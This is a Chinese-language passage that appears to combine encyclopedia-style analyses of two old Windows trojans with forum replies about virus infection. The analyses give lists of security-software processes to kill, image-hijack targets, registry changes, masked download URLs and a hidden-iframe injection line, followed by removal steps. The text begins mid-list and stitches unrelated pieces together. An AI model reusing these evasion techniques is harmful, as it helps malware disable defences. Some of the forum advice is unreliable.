KASTask.exe、KAV32.exe、KAVDX.exe、KAVPF.exe、KAVPFW.exe、 KAVSetup.exe、KAVStart.exe、KISLnchr.exe、KMailMon.exe、 KMFilter.exe、KPFW32.exe、KPFW32X.exe、KPfwSvc.exe、 KRegEx.exe、KRepair.com、KsLoader.exe、KVCenter.kxp、 KvDetect.exe、KvfwMcl.exe、KVMonXP.kxp、KVMonXP_1.kxp、 kvol.exe、kvolself.exe、KvReport.kxp、KVScan.kxp、 KVSrvXP.exe、KVStub.kxp、kvupload.exe、kvwsc.exe、 KvXP.kxp、KvXP_1.kxp、KWatch.exe、KWatch9x.exe、KWatchX.exe、 MagicSet.exe、mcconsol.exe、mmqczj.exe、mmsk.exe、 Navapsvc.exe、Navapw32.exe、nod32.exe、nod32krn.exe、 nod32kui.exe、NPFMntor.exe、OllyDBG.EXE、OllyICE.EXE、 PFW.exe、PFWLiveUpdate.exe、procexp.exe、QHSET.exe、 QQDoctor.exe、QQKav.exe、Ras.exe、RavMonD.exe、 RavStub.exe、RawCopy.exe、RegClean.exe、RegTool.exe、 rfwcfg.exe、rfwmain.exe、rfwProxy.exe、rfwsrv.exe、 rfwstub.exe、RsAgent.exe、Rsaupd.exe、runiep.exe、 safebank.exe、safeboxTray.exe、safelive.exe、scan32.exe、 shcfg32.exe、SmartUp.exe、SREng.EXE、symlcsvc.exe、 SysSafe.exe、TrojanDetector.exe、Trojanwall.exe、TrojDie.kxp、 UIHost.exe、UmxAgent.exe、UmxAttachment.exe、UmxCfg.exe、 UmxFwHlp.exe、UmxPol.exe、UpLive.exe、vsstat.exe、 webscanx.exe、WinDbg.exe、WoptiClean.exe 4、遍历进程查找是否存在以下进程名：GuardField.exe、conime.exe、wuauclt.exe、 spoolsv.exe；如发现存在以上进程名则调用TerminateProcess函数强行结束以上 进程。 5、调用LoadLibraryA函数加载SFC.DLL文件。将%System32%drivers目录下的 beep.sys文件删除，并创建一个同名的文件，释放驱动文件babopx.sys恢复SSDT使 卡巴主动防御失效。 6、衍生的adfbaa.exe判断进程是否存在AVP.exe如存在则设置系统时间为1900年，添加 注册表映像劫持，劫持多款安全软件，使系统安全性降低，连接网络读取列表下载大 量恶意文件到本地运行。 网络行为: 协议：TCP 端口：80 连接服务器名：http://www.ir***.com/css.txt IP地址：121.10.115.*** 描述：连接服务器读取TXT列表内容下载病毒，读取的列表内容： [DOWN] 1=http://uiik.ur***.com/down/new1.exe 2=http://uiik.ur***.com/down/new2.exe 3=http://uiik.ur***.com/down/new3.exe 4=http://uiik.ur***.com/down/new4.exe 5=http://uiik.ur***.com/down/new5.exe 6=http://uiik.ur***.com/down/new6.exe 7=http://uiik.ur***.com/down/new7.exe 8=http://uiik.ur***.com/down/new8.exe 9=http://uiik.ur***.com/down/new9.exe 10=http://uiik.ur***.com/down/new10.exe 11=http://uiik.ur***.com/down/new11.exe 12=http://uiik.ur***.com/down/new12.exe 13=http://uiik.ur***.com/down/new13.exe 14=http://uiik.ur***.com/down/new14.exe 15=http://uiik.ur***.com/down/new15.exe 16=http://uiik.ur***.com/down/new16.exe 17=http://nxxv.ur***.com/down/new17.exe 18=http://nxxv.ur***.com/down/new18.exe 19=http://nxxv.ur***.com/down/new19.exe 20=http://nxxv.ur***.com/down/new20.exe 21=http://nxxv.ur***.com/down/new21.exe 22=http://nxxv.ur***.com/down/new22.exe 23=http://nxxv.ur***.com/down/new23.exe 24=http://nxxv.ur***.com/down/new24.exe 25=http://nxxv.ur***.com/down/new25.exe 26=http://nxxv.ur***.com/down/new26.exe 27=http://nxxv.ur***.com/down/new27.exe 28=http://nxxv.ur***.com/down/new28.exe 29=http://nxxv.ur***.com/down/new29.exe 30=http://nxxv.ur***.com/down/new30.exe 31=http://nxxv.ur***.com/down/new31.exe 32=http://nxxv.ur***.com/down/new32.exe 33=http://nxxv.ur***.com/down/new33.exe 34=http://nxxv.ur***.com/down/new34.exe 注： %System32% 是一个可变路径。病毒通过查询操作系统来决定当前 System文件夹的 位置。 %Windir% WINDODWS所在目录 %DriveLetter% 逻辑驱动器根目录 %ProgramFiles% 系统程序默认安装目录 %HomeDrive% 当前启动的系统的所在分区 %Documents and Settings% 当前用户文档根目录 %Temp% Documents and Settings 当前用户Local SettingsTemp %System32% 系统的 System32文件夹 Windows2000/NT中默认的安装路径是C:WinntSystem32 windows95/98/me中默认的安装路径是C:WindowsSystem windowsXP中默认的安装路径是C:WindowsSystem32 [编辑本段]清除方案 1 、使用安天防线2008可彻底清除此病毒(推荐)。 2 、手工清除请按照行为分析删除对应文件，恢复相关系统设置。 (1)使用ATOOL进程管理结束病毒进程。 (2)强行删除病毒下载的大量病毒文件： %System32%adfbaa.exe（随机病毒名） %System32%driverseep.sys %System32%driversabopx.sys （注：该病毒下载的病毒列表可能会随时变化） (3)删除病毒创建的注册表项： [HKEY_LOCAL_MACHINESYSTEM CurrentControlSetServices] 注册表值: "nnlhe" 删除nnlhe键值 [HKEY_LOCAL_MACHINESOFTWAREMicrosoft Windows NTCurrentVersion Image File Execution Options被映像劫持的文件名称] 删除Image File Execution Options键值下所有被映像劫持 的文件名称

主要表现病毒样本来自卡饭，病毒行为恶劣，主要表现为：1.攻击杀毒软件之后进行IFEO映像劫持2.感染htm等网页文件3.感染或覆盖exe等可执行文件4.破坏安全模式5.破坏显示隐藏文件 文件夹选项等6.修改系统时间并锁定时间7.可通过U盘等移动存储传播8.关闭Windows防火墙等服务并打开许多危险服务，并使得用户磁盘被共享9.后台添加账户并设定管理员权限10.修改某些文件关联下面为具体分析File: SDGames.exeSize: 59282 bytesFile Version: 3.02Modified: 2007年12月6日, 17:56:32MD5: FC334FFCF5AFF3CA8235705D61F62990SHA1: 4DFFE9E9BB666A13CC646EBA4371BDF4AFFB49BCCRC32: 1DD096C21.病毒运行后，释放如下文件或副本%systemroot%system32SDGames.exe%systemroot%system32Taskeep.vbs%systemroot%system32Avpser.cmd%systemroot%system32 etshare.cmd%systemroot%system32AUTORUN.INF在每个磁盘分区释放SDGames.exe和AUTORUN.INF 达到通过U盘传播的目的（首先通过rd命令删除 autorun.inf文件夹 使得某些通过此种方法免疫U盘病毒的方式失效）并且在每个分区释放Windows.url，新建文件夹.url，Recycleds.url指向该分区根目录下的SDGames.exe诱使用户点击2.修改reg和txt文件关联指向%systemroot%system32SDGames.exe3.删除HKLMSystemCurrentControlSetControlSafeBootMinimal{4D36E967-E325-11CE-BFC1-08002BE10318}HKLMSystemCurrentControlSetControlSafeBootNetwork{4D36E967-E325-11CE-BFC1-08002BE10318}HKLMSystemCurrentControlSetControlSafeBootMinimal{4D36E967-E325-11CE-BFC1-08002BE10318}HKLMSystemCurrentControlSetControlSafeBootNetwork{4D36E967-E325-11CE-BFC1-08002BE10318}破坏安全模式4.创建自启动项目[HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows]<load><%systemroot%system32SDGames.exe> [SDGame]<run><%systemroot%system32SDGames.exe> [SDGame][HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun]<Winstary><%systemroot%system32SDGames.exe> [SDGame]5.破坏系统的一些功能禁用cmd:HKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD破坏显示隐藏文件：HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedHiddenHKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALLCheckedValue使得文件扩展名无法显示：HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedHideFileExt隐藏控制面板：HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoControlPanel禁用注册表编辑器HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistrytools禁用任务管理器HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr修改IE主页为：http://www.*.修改IE默认页为：wangma隐藏文件夹选项HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFolderOptions6.关闭如下服务并将其启动类型设为禁用Algsharedaccesswuauserv7.开启下列服务并将其启动类型设为自动Terminal Serviceswinmgmtlanmanserver8.%systemroot%system32 etshare.cmd将用户的所有磁盘设为共享9.添加一个名为guest的账户，并将其设置为管理员权限10.攻击反病毒软件，利用Avpser.cmd强制结束一些杀毒软件进程RavMonD.exeRavStub.exeAnti*AgentSvr*CCenter*Rsaupd*SmartUp*FileDsty*RegClean*360tray*360safe*kabaload*safelive*KASTask*kpFW32*kpFW32X*KvXP_1*KVMonXP_1*KvReport*KvXP*KVMonXP*nter*TrojDie*Trojan*KvNative*Virus*Filewall*Kaspersky*JiangMin*RavMonD*RavStub*RavTask*adam*cSet*PFWliveUpdate*mmqczj*Trojanwall*Ras.exeruniep.exeavp.exePFW.exerising*ikaka*.duba*kingsoft*木马*社区*aswBoot*MainCon*Regs*AVP*Task*regedit*Ras*srgui*norton*avp*fire*spy*bullguard*PersFw*KAV*ZONEALARM*SAFEWEB*OUTPOST*ESAFE*clear*BLACKICE*360safe.exeShadowservice.exev3webnt.exev3sd32.exev3monsvc.exesysmonnt.exehkcmd.exeDNTUS26.EXEAhnSD.exeCTFMON.EXEMonsysNT.exeawrem32.exeWINAW32.EXEPNTIOMON.exeavgw.exeavgcc32.exePROmon.exePNTIOMON.exeMagicSet.exeMainCon.exeTrCleaner.exeWmNetPro.exe修复*保护*11.映像劫持杀毒软件和一些常用工具360rpt.exe360Safe.exe360tray.EXEadam.exeAgentSvr.exeAppSvc32.exeautoruns.exeavgrssvc.exeAvMonitor.exeavp.exeCCenter.execcSvcHst.exeFileDsty.exeFTCleanerShell.exeHijackThis.exeIceSword.exeiparmo.exeIparmor.exeisPwdSvc.exekabaload.exeKaScrScn.SCRKASMain.exeKASTask.exeKAV32.exeKAVDX.exeKAVPFW.exeKAVSetup.exeKAVStart.exeKISLnchr.exeKMailMon.exeKMFilter.exeKnod32kui.exeKPFW32.exeKPFW32X.exeKPFWSvc.exeKRegEx.exeKsLoader.exeKVCenter.kxpKvDetect.exeKvfwMcl.exeKVMonXP.kxpKVMonXP_1.kxpkvol.exekvolself.exeKvReport.kxpKVScan.kxpKVSrvXP.exeKVStub.kxpkvupload.exekvwsc.exeKvXP.kxpKvXP_1.kxpKWatch9x.exeKWatchX.exeloaddll.exeMagicSet.exeMainCon.exemcconsol.exemmqczj.exemmsk.exemsconfig.exeNAVSetup.exenod32krn.exePFW.exePFWLiveUpdate.exeQHSET.exeQQ.exeRas.exeRav.exeRavMon.exeRavMonD.exeRavStub.exeRavTask.exeRegClean.exerfwcfg.exeRfwMain.exerfwProxy.exerfwsrv.exeRsaupd.exeruniep.exesafelive.exescan32.exeShadowservice.exeshcfg32.exeSmartUp.exeSREng.exesrgui.exesymlcsvc.exeSysSafe.exeTrojanDetector.exeTrojanwall.exeTrojDie.kxpUIHost.exeUmxAgent.exeUmxAttachment.exeUmxCfg.exeUmxFwHlp.exeUmxPol.exeUpLive.EXE.exeWoptiClean.exezxsweep.exe12.遍历感染非系统分区的exe文件（覆盖方式）13.遍历感染非系统分区的jsp asp php htm html hta文件在其末尾加入<iframe id=iframe width=0 height=0 scrolling=no frameborder=0 src=http://*. name=Myframealign=center border=0>的代码14.修改系统时间的年份为2030年，并禁止用户修改时间15.隐藏系统文件夹

这不是文件的问题，而是软件问题，也有可能是你电脑内存不够的原因（如果你电脑内存不低）可以尝试重装软件。

别去按不就行了。。。

你到www.360safe.com去下载，我的就是用了这个版本才搞定的

全盘格式. 谁叫你乱去地方了

中了烧香,铞

在开始运行 输入“msconfig”,进入硬件实时配置程序，将启动选项下对应的文件禁止，然后重启。

重新安装电脑吧~或者找个在线杀毒的`~

初步估计是中了病毒,把你的移动存储设备在DS或者安全模式下彻底杀一下毒,不行coms清零,整体存储设备杀一下毒,不行存储设备格式化吧,不行,重装系统,不行,那移动设备铁的出问题了,扔了吧